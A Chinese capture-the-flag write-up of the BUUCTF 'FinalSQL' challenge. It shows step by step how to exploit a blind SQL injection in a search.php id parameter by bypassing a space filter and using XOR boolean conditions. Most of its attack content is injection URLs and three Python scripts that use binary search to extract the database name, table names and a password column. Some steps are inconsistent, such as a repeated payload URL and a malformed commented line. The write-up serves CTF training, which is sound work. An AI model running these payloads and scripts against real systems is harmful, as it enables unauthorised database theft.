Buuctf [极客大挑战 2019]FinalSQL
Buuctf [极客大挑战 2019]FinalSQL
1.拿到题目先随便点吧
2.根据题目提示,选择正确的神秘代码即可获得flag
,尝试点1
3.题目提示,不是这个,点其他的按钮,尝试点击2
4.它说矣,也不是这个,那就再点击3
5.它逗一下我,你找到flag
在这里,但是没有,继续点击4
6.好好,我告诉你,就在下面一个,真的,那就点击5
7.还查了一下英文单词,它说你是多蠢啊,怎样我才可以给你?因此,为什么不看一下第六个呢?但是它在哪里吗?
8.聪明的,但是不是这张表,通过上述的判断,我们可以看到id是可以控制的参数,进一步验证我们的推测1'
http://35aacee9-5590-4b43-b6bb-5433adc14afa.node5.buuoj.cn:81/search.php?id=1%27
9.使用-- -
进行注释
http://35aacee9-5590-4b43-b6bb-5433adc14afa.node5.buuoj.cn:81/search.php?id=1%27–%20-
10.正确输入1的回显是
http://35aacee9-5590-4b43-b6bb-5433adc14afa.node5.buuoj.cn:81/search.php?id=1
11.通过上面的三个回显,我们所做的总结如下所示
(1)当输入正确时,正确的回显是
NO! Not this! Click others~~~
(2)当输入错误时,错误的回显是
Error!
(3)当输入特殊字符时,被waf拦截的回显是
你可别被我逮住了,臭弟弟
12.我是直接上手SQL
注入的fuzz
判断其过滤了哪些字符
13.使用bp
爆破的话,就不赘述
14.需要注意的一点是,不断扩充自己的sql
注入的fuzz
字典,可以清楚的发现,存在数字型的异或注入
15.异或的话,还是比较好理解,即相同为0
,不同为1
使用异或的表达式如下所示:
1^1=0
1^0=1
0^1=1
0^0=0
本道题目当中,就是利用这样的性质就行求解,尝试使用0^x
的情况,只要后面为真的话,那么我们便可以判断数据,这个点是解开这道题目的关键。
16.本地调试
select * from product where id = 962;
17.查看数据库
select database();
18.查看数据库长度
select length(database());
19.本地测试的数据库为tmall
,因此数据库的长度为5
,通过sql
语句判断出数据库的长度,而在本道数据库的长度判断和本地不一样的情况是,CTF
中的数据库过滤了空格,构造语句如下所示
http://0dd93945-1aaf-448f-b57e-0d6636d4dc55.node5.buuoj.cn:81/search.php?id=0^(select(length(database()))%3E0)
20.这里顺带就引出二分查找法,尝试数据的长度大于15
http://0dd93945-1aaf-448f-b57e-0d6636d4dc55.node5.buuoj.cn:81/search.php?id=0^(select(length(database()))%3E15)
21.当输入15
时,返回错误,尝试大于7
http://0dd93945-1aaf-448f-b57e-0d6636d4dc55.node5.buuoj.cn:81/search.php?id=0^(select(length(database()))%3E7)
22.当输入7
时,返回错误,尝试大于4
http://0dd93945-1aaf-448f-b57e-0d6636d4dc55.node5.buuoj.cn:81/search.php?id=0^(select(length(database()))%3E4)
23.当输入大于4
时,返回错误,尝试大于2
http://0dd93945-1aaf-448f-b57e-0d6636d4dc55.node5.buuoj.cn:81/search.php?id=0^(select(length(database()))%3E4)
24.当输入2
时,返回正确,尝试大于3
25.通过大于4
是错误的,尝试大于5
http://0dd93945-1aaf-448f-b57e-0d6636d4dc55.node5.buuoj.cn:81/search.php?id=0^(select(length(database()))%3E5)
26.那么说明数据库的长度为4
http://0dd93945-1aaf-448f-b57e-0d6636d4dc55.node5.buuoj.cn:81/search.php?id=0^(select(length(database()))=4)
27.开始爆破数据库,因为知道数据库的长度为4
,那么通过ASCII值
推测出数据库的库名
28.本地测试,通过返回的ASCII值
判断数据名
select (ord(substr((select(database())),1,1))%3E32);
29.这里面就有两个可控制的变量,一个是数据库的长度,另外一个数据库名的ASCII码
值
select (ord(substr((select(database())),数据长度,1))%3E数据库的ASCII值);
那么脚本如下:
# -*- coding: utf-8 -*-
# coding=utf8
import requests
import time
#payload = 0^(ord(substr(database(),1,1))>32)
#该题目过滤了空格,使用括号绕过
url = "http://0dd93945-1aaf-448f-b57e-0d6636d4dc55.node5.buuoj.cn:81/search.php?id="
# respons = requests.get(url)
# print(respons.text)
database_name = ''
for x in range(1,100):
min = 1
max = 150
mid = (min + max)//2
while min < max:
params = {"id":"0^(ord(substr((select(database())),"+str(x)+",1))>"+str(mid)+")"}
response = requests.get(url=url,params=params)
time.sleep(1)
if "others~~~" in response.text:
min = mid + 1
else:
max = mid
mid = (min+max)//2
if min <= 32 or max >= 127:
break
database_name += chr(mid)
print("数据库名为:" + database_name)
30.这里的ASCII值
,有个特性,在32
到127
这样一个范围,代码的话,省去了判断数据库的长度,使用循环的形式得出数据库
31.通过爆破获得数据库名为geek
32.爆破数据库的表名:
select (ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='tmall')),1,1))%3E33);
代码如下所示:
# -*- coding: utf-8 -*-
# coding=utf8
import requests
import time
#payload = 0^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),1,1))>0)
#该题目过滤了空格,使用括号绕过
url = "http://0dd93945-1aaf-448f-b57e-0d6636d4dc55.node5.buuoj.cn:81/search.php?id="
# respons = requests.get(url)
# print(respons.text)
tables_name = ''
for x in range(1,100):
min = 1
max = 150
mid = (min + max)//2
while min < max:
params = {"id":"0^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),"+str(x)+",1))>"+str(mid)+")"}
response = requests.get(url=url,params=params)
time.sleep(1)
if "others~~~" in response.text:
min = mid + 1
else:
max = mid
mid = (min+max)//2
if min <= 32 or max >= 127:
break
tables_name += chr(mid)
print("数据库表名为:" + tables_name)
33.这里爆破字段名是硬伤。使用了很多种办法,都是报错
34.而在本道题目中,flag
存在字段password
中
# -*- coding: utf-8 -*-
# coding=utf8
import requests
import time
#payload = 0^(ord(substr(database(),1,1))>32)
#该题目过滤了空格,使用括号绕过
url = "http://0dd93945-1aaf-448f-b57e-0d6636d4dc55.node5.buuoj.cn:81/search.php?id="
# respons = requests.get(url)
# print(respons.text)
column_name = ''
for x in range(1,1000000):
min = 1
max = 150
mid = (min + max)//2
while min < max:
#params = {"id":"0^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),"+str(x)+",1))>"+str(mid)+")"+str(x)+",1))>"+str(mid)+")"}
# 0^(ord(substr((select(group_concat(password))from(F1naI1y))
# params = {"id": "0^(ord(substr((select(group_concat(password))from(F1naI1y))," + str(mid)+")"}
# params = {"id": "0^(ord(substr((select(group_concat(password))from(F1naI1y))," + str(x) + ",1))>" + str(mid) + ")"}
params = {"id":"(ord(substr((select(group_concat(password))from(F1naI1y)),"+ str(x) + ",1))>" + str(mid) + ")"}
response = requests.get(url=url,params=params)
time.sleep(1)
if "others~~~" in response.text:
min = mid + 1
else:
max = mid
mid = (min+max)//2
if min <= 32 or max >= 127:
break
column_name += chr(mid)
print("flag:" + column_name)